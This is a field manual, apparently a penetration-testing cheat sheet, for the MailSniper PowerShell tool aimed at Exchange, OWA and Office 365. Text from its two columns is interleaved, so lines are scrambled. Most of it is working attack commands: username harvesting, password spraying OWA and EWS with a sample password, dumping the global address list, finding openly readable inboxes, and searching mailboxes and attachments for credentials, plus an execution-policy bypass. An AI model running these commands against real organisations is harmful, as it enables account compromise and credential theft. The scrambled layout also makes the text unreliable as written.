MailSniper Field Manual
MailSniper Field Manual
MailSniper Field Manual
Additional Resources
Invoke-OpenInboxFinder: https://www.blackhillsinfosec.com/?p=5871
Twitter: @dafthack
1. Download the MailSniper.ps1 script from: 1. With a list of valid email addresses (email-list.txt) point Get-
https://github.com/dafthack/MailSniper ADUsernameFromEWS at an EWS portal. It will prompt for creds.
2. Start a new PowerShell session from a command terminal. PS C:\> Get-ADUsernameFromEWS -EmailList email-
C:\> powershell.exe -exec bypass list.txt -ExchHostname outlook.office365.com -Remote
3. Import MailSniper.
PS C:\> Import-Module .\MailSniper.ps1 Find Inboxes with Too Broad Permissions
Harvest Domain 1. Generate a list of email addresses (email-list.txt) to check if their mailbox
is openly readable by other users.
1. Harvest the internal domain name of the target org (mail.domain.com). 2. Use Invoke-OpenInboxFinder against the target EWS server specifying
PS C:\> Invoke-DomainHarvestOWA -ExchHostname the ExchHostname accordingly (works with O365 too). It will prompt for
mail.domain.com creds.
PS C:\> Invoke-OpenInboxFinder -EmailList email-
Harvest Usernames list.txt -ExchHostname outlook.office365.com -Remote
1. Generate a list (userlist.txt) of potential usernames in the format Search Current Mailbox with Default Terms
‘DOMAIN\username’ or ‘[email protected]’.
2. Harvest valid usernames from an OWA portal (mail.domain.com). 1. On a domain-joined system specify the email address of the current
PS C:\> Invoke-UsernameHarvestOWA -ExchHostname domain user the PowerShell session is running as for the -Mailbox
mail.domain.com -UserList .\userlist.txt -Threads 1 - option. Invoke-SelfSearch will search the Inbox for the terms ‘password’,
OutFile owa-valid-users.txt ‘creds’, and ‘credentials’.
PS C:\> Invoke-SelfSearch -Mailbox current-
Password Spraying [email protected]
1. Generate a list (userlist.txt) of usernames to password spray. Search Current Mailbox with Custom Terms Against Remote Portal
2. Choose a password (Summer2017).
3. Spray an OWA portal (mail.domain.com). 1. Specify custom terms to search for with the -Terms option. Specifying
PS C:\> Invoke-PasswordSprayOWA -ExchHostname the -Remote option will prompt for a user’s credentials. This can be used
mail.domain.com -UserList .\userlist.txt -Password to search the inbox of a user remotely against an Internet facing EWS
Summer2017 -Threads 15 -OutFile owa-sprayed-creds.txt server (works for O365 too).
4. Or… Spray EWS. PS C:\> Invoke-SelfSearch -Mailbox current-
PS C:\> Invoke-PasswordSprayEWS -ExchHostname [email protected] -ExchHostname mail.domain.com -Terms
mail.domain.com -UserList .\userlist.txt -Password "*passwords*","*super secret*","*industrial control
Summer2017 -Threads 15 -OutFile sprayed-ews-creds.txt systems*","*scada*","*launch codes*" -Remote
Access Global Address List Search Current Mailbox Including Attachments and Download Matches
1. Using a valid credential point Get-GlobalAddressList to either an OWA or 1. Specifying the -CheckAttachments option will cause Invoke-SelfSearch
EWS server (it will try both) and set the -UserName and -Password or Invoke-GlobalMailSearch to search the current user’s mailbox for the
options accordingly. default terms including attachments. It will download any attachments
PS C:\> Get-GlobalAddressList -ExchHostname that match to ‘C:\temp’
mail.domain.com -UserName domain\username -Password PS C:\> Invoke-SelfSearch -Mailbox current-
Summer2017 -OutFile global-address-list.txt [email protected] -CheckAttachments -DownloadDir
C:\temp